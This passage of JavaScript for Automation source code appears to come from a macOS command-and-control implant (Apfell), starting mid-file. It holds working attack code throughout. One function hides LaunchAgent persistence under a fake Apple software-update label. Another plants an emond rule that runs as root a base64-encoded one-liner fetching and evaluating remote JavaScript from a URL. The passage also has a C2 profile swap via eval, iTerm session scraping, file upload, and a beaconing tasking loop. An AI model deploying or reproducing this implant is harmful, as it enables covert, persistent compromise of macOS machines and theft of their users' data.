1633 currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
1634 cmd = "cp -R \"/System/Library/User Template/English.lproj/\" \"" + homedir + "\"";
1635 currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
1636 cmd = "chown -R " + username + ":staff \"" + homedir + "\"";
1637 currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
1638 }
1639 return "Successfully ran the commands to create the user";
1640 }catch(error){
1641 return error.toString();
1642 }
1643 }catch(error){
1644 return error.toString();
1645 }
1646
1647};
1648exports.persist_launch = function(task, command, params){
1649 try{
1650 var config = JSON.parse(params);
1651 var template = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
1652 "<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n" +
1653 "<plist version=\"1.0\">\n" +
1654 "<dict>\n" +
1655 "<key>Label</key>\n";
1656 var label = "com.apple.softwareupdateagent";
1657 if(config.hasOwnProperty('label') && config['label'] != ""){label = config['label'];}
1658 template += "<string>" + label + "</string>\n";
1659 template += "<key>ProgramArguments</key><array>\n";
1660 if(config.hasOwnProperty('args') && config['args'].length > 0){
1661 if(config['args'][0] == "apfell-jxa"){
1662 // we'll add in an apfell-jxa one liner to run
1663 template += "<string>/usr/bin/osascript</string>\n" +
1664 "<string>-l</string>\n" +
1665 "<string>JavaScript</string>\n" +
1666 "<string>-e</string>\n" +
1667 "<string>eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding($.NSData.dataWithContentsOfURL($.NSURL.URLWithString('" +
1668 config['args'][1] + "')),$.NSUTF8StringEncoding)))</string>\n"
1669 }
1670 else{
1671 for(var i = 0; i < config['args'].length; i++){
1672 template += "<string>" + config['args'][i] + "</string>\n";
1673 }
1674 }
1675 }
1676 else{
1677 return "Program args needs values or \"apfell-jxa\"";
1678 }
1679 template += "</array>\n";
1680 if(config.hasOwnProperty('KeepAlive') && config['KeepAlive'] == true){ template += "<key>KeepAlive</key>\n<true/>\n"; }
1681 if(config.hasOwnProperty('RunAtLoad') && config['RunAtLoad'] == true){ template += "<key>RunAtLoad</key>\n<true/>\n"; }
1682 template += "</dict>\n</plist>\n"
1683 // now we need to actually write out the plist to disk
1684 var response = "";
1685 if(config.hasOwnProperty('LocalAgent') && config['LocalAgent'] == true){
1686 var path = "~/Library/LaunchAgents/";
1687 path = $(path).stringByExpandingTildeInPath;
1688 var fileManager = $.NSFileManager.defaultManager;
1689 if(!fileManager.fileExistsAtPath(path)){
1690 $.fileManager.createDirectoryAtPathWithIntermediateDirectoriesAttributesError(path, false, $(), $());
1691 }
1692 var path = $(path.js + "/" + label + ".plist");
1693 response = write_data_to_file(template, path);
1694 }
1695 else if(config.hasOwnProperty('LaunchPath') && config['LaunchPath'] != ""){
1696 response = write_data_to_file(template, $(config['LaunchPath']));
1697 }
1698
1699 return response;
1700 }catch(error){
1701 return error.toString();
1702 }
1703};
1704exports.persist_emond = function(task, command, params){
1705 try{
1706 //emond persistence from https://www.xorrior.com/emond-persistence/
1707 var config = JSON.parse(params);
1708 // read "/System/Library/LaunchDaemons/com.apple.emond.plist" for the "QueueDirectories" key (returns array)
1709 // create ".DS_Store" file there that's empty
1710 // create new plist in "/etc/emond.d/rules/"
1711 var rule_name = "update_files";
1712 if(config.hasOwnProperty('rule_name') && config['rule_name'] != ""){rule_name = config['rule_name'];}
1713 var payload_type = "oneliner-jxa";
1714 if(config.hasOwnProperty('payload_type') && config['payload_type'] != ""){payload_type = config['payload_type'];}
1715 if(payload_type == "oneliner-jxa"){
1716 if(config.hasOwnProperty('url') && config['url'] != ""){var url = config['url'];}
1717 else{ return "URL is required for the oneliner-jxa payload_type"; }
1718 var command = "eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding($.NSData.dataWithContentsOfURL($.NSURL.URLWithString('" +
1719 url + "')),$.NSUTF8StringEncoding)))";
1720 // now we need to base64 encode our command
1721 var command_data = $(command).dataUsingEncoding($.NSData.NSUTF16StringEncoding);
1722 var base64_command = command_data.base64EncodedStringWithOptions(0).js;
1723 var full_command = "echo \"" + base64_command + "\" | base64 -D | /usr/bin/osascript -l JavaScript &";
1724 }
1725 else if(payload_type == "custom_bash-c"){
1726 if(config.hasOwnProperty('command') && config['command'] != ""){var full_command = config['command'];}
1727 else{ return "command is a required field for the custom_bash-c payload_type"; }
1728 }
1729 // get our new plist file_name
1730 if(config.hasOwnProperty('file_name') && config['file_name'] != ""){ var file_name = config['file_name'];}
1731 else{ return "file_name is required"; }
1732
1733 var plist_contents = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
1734 "<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n" +
1735 "<plist version=\"1.0\">\n" +
1736 "<array>\n" +
1737 " <dict>\n" +
1738 " <key>name</key>\n" +
1739 " <string>" + rule_name + "</string>\n" +
1740 " <key>enabled</key>\n" +
1741 " <true/>\n" +
1742 " <key>eventTypes</key>\n" +
1743 " <array>\n" +
1744 " <string>startup</string>\n" +
1745 " </array>\n" +
1746 " <key>actions</key>\n" +
1747 " <array>\n" +
1748 " <dict>\n" +
1749 " <key>command</key>\n" +
1750 " <string>/bin/sleep</string>\n" +
1751 " <key>user</key>\n" +
1752 " <string>root</string>\n" +
1753 " <key>arguments</key>\n" +
1754 " <array>\n" +
1755 " <string>60</string>\n" +
1756 " </array>\n" +
1757 " <key>type</key>\n" +
1758 " <string>RunCommand</string>\n" +
1759 " </dict>\n" +
1760 " <dict>\n" +
1761 " <key>command</key>\n" +
1762 " <string>/bin/bash</string>\n" +
1763 " <key>user</key>\n" +
1764 " <string>root</string>\n" +
1765 " <key>arguments</key>\n" +
1766 " <array>\n" +
1767 " <string>-c</string>\n" +
1768 " <string> " + full_command + "</string>\n" +
1769 " </array>\n" +
1770 " <key>type</key>\n" +
1771 " <string>RunCommand</string>\n" +
1772 " </dict>\n" +
1773 " </array>\n" +
1774 " </dict>\n" +
1775 "</array>\n" +
1776 "</plist>";
1777 // read the plist file and check the QueueDirectories field
1778 var prefs = ObjC.deepUnwrap($.NSMutableDictionary.alloc.initWithContentsOfFile($("/System/Library/LaunchDaemons/com.apple.emond.plist")));
1779 //console.log(JSON.stringify(prefs));
1780 var queueDirectories = prefs['QueueDirectories'];
1781 if(queueDirectories != undefined && queueDirectories.length > 0){
1782 var queueDirectoryPath = queueDirectories[0];
1783 write_data_to_file(" ", queueDirectoryPath + "/.DS_Store");
1784 // now that we have a file in our queueDirectory, we need to write out our plist
1785 write_data_to_file(plist_contents, "/etc/emond.d/rules/" + file_name);
1786
1787 var user_output = "Created " + queueDirectoryPath + "/.DS_Store and /etc/emond.d/rules/" + file_name + " with contents: \n" + plist_contents;
1788
1789 // announce our created artifacts and user output
1790 var artifacts = JSON.stringify({'user_output': user_output, 'artifacts': [{'base_artifact': 'File Create', 'artifact': queueDirectoryPath + "/.DS_Store"}, {'base_artifact': 'File Create', 'artifact': '/etc/emond.d/rules/' + file_name}]});
1791 return artifacts;
1792 }
1793 else{
1794 return "QueueDirectories array is either not there or 0 in length";
1795 }
1796 }catch(error){
1797 return error.toString();
1798 }
1799};
1800exports.swap_c2 = function(task, command, params){
1801 var config = JSON.parse(params);
1802 var profile = C2.upload(task, config['profile']);
1803 try{
1804 var file_data = $.NSString.alloc.initWithDataEncoding(profile, $.NSUTF8StringEncoding).js;
1805 eval(file_data);
1806 //now that our new c2 is set, update the commands list
1807 C2.setConfig({"commands": Object.keys(commands_dict)});
1808 }catch(error){
1809 return "Failed to load new profile";
1810 }
1811 return "Successfully swapped profiles";
1812};
1813exports.pwd = function(task, command, params){
1814 try{
1815 var fileManager = $.NSFileManager.defaultManager;
1816 var cwd = fileManager.currentDirectoryPath;
1817 if(cwd == undefined || cwd == ""){
1818 return "CWD is empty or undefined";
1819 }
1820 return cwd.js;
1821 }catch(error){
1822 return error.toString();
1823 }
1824};
1825exports.cd = function(task, command, params){
1826 try{
1827 var fileManager = $.NSFileManager.defaultManager;
1828 var success = fileManager.changeCurrentDirectoryPath(params);
1829 if(success){
1830 return "New cwd: " + fileManager.currentDirectoryPath.js;
1831 }else{
1832 return "Failed to change directory";
1833 }
1834 }catch(error){
1835 return error.toString();
1836 }
1837};
1838exports.rm = function(task, command, params){
1839 ObjC.import('Foundation');
1840 try{
1841 var fileManager = $.NSFileManager.defaultManager;
1842 if(params[0] == '"'){
1843 params = params.substring(1, params.length-1);
1844 }
1845 var error = Ref();
1846 fileManager.removeItemAtPathError($(params), error);
1847 return "Removed file";
1848 }catch(error){
1849 return error.toString();
1850 }
1851
1852};
1853exports.iTerm = function(task, command, params){
1854 try{
1855 var term = Application("iTerm");
1856 if(!term.running()){
1857 term = Application("iTerm2"); // it might be iTerm2 instead of iTerm in some instances, try both
1858 }
1859 var output = {};
1860 if(term.running()){
1861 for(var i = 0; i < term.windows.length; i++){
1862 var window = {};
1863 for(var j = 0; j < term.windows[i].tabs.length; j++){
1864 var tab_info = {};
1865 tab_info['tty'] = term.windows[i].tabs[j].currentSession.tty();
1866 tab_info['name'] = term.windows[i].tabs[j].currentSession.name();
1867 tab_info['contents'] = term.windows[i].tabs[j].currentSession.contents();
1868 tab_info['profileName'] = term.windows[i].tabs[j].currentSession.profileName();
1869 window["Tab: " + j] = tab_info;
1870 }
1871 output["Window: " + i] = window;
1872 }
1873 return JSON.stringify(output, null, 2);
1874 }
1875 else{
1876 return "iTerm isn't running";
1877 }
1878 }catch(error){
1879 return error.toString();
1880 }
1881};
1882exports.upload = function(task, command, params){
1883 try{
1884 var config = JSON.parse(params);
1885 var data = C2.upload(task, config['file_id']);
1886 if(typeof data == "string"){
1887 return data; //means we got an error
1888 }
1889 else{
1890 return write_data_to_file(data, config['remote_path']);
1891 }
1892 }catch(error){
1893 return error.toString();
1894 }
1895};
1896 //console.log("about to load commands");
1897 var commands_dict = exports;
1898 var jsimports = "";
1899
1900//-------------GET IP AND CHECKIN ----------------------------------
1901for(var i=0; i < apfell.ip.length; i++){
1902 ip = apfell.ip[i];
1903 if (ip.includes(".") && ip != "127.0.0.1"){ // the includes(".") is to make sure we're looking at IPv4
1904 //console.log("found ip, checking in");
1905 C2.setConfig({"commands": Object.keys(commands_dict)});
1906 C2.checkin(ip,apfell.pid,apfell.user,ObjC.unwrap(apfell.host[0]));
1907 break;
1908 }
1909}
1910//---------------------------MAIN LOOP ----------------------------------------
1911function sleepWakeUp(){
1912 while(true){
1913 $.NSThread.sleepForTimeInterval(C2.interval);
1914 var output = "";
1915 task = C2.getTasking();
1916 var command = "";
1917 try{
1918 command = ObjC.unwrap(task["command"]);
1919 if(command != "none"){
1920 var params = ObjC.unwrap(task["params"]);
1921 try{
1922 var output = commands_dict[command](task, command, params);
1923 }
1924 catch(error){
1925 if(error.toString().includes("commands_dict[command] is not a function")){
1926 output = "Unknown command: " + command;
1927 }
1928 else{
1929 output = error.toString();
1930 }
1931 }
1932 if ((typeof output) == "string"){
1933 output = convert_to_nsdata(output);
1934 }
1935 C2.postResponse(task, output);
1936 }
1937 }
1938 catch(error){
1939 C2.postResponse(task, convert_to_nsdata(error.toString()));
1940 }
1941 task["command"] = "none"; //reset just in case something goes weird
1942 }
1943};
1944sleepWakeUp();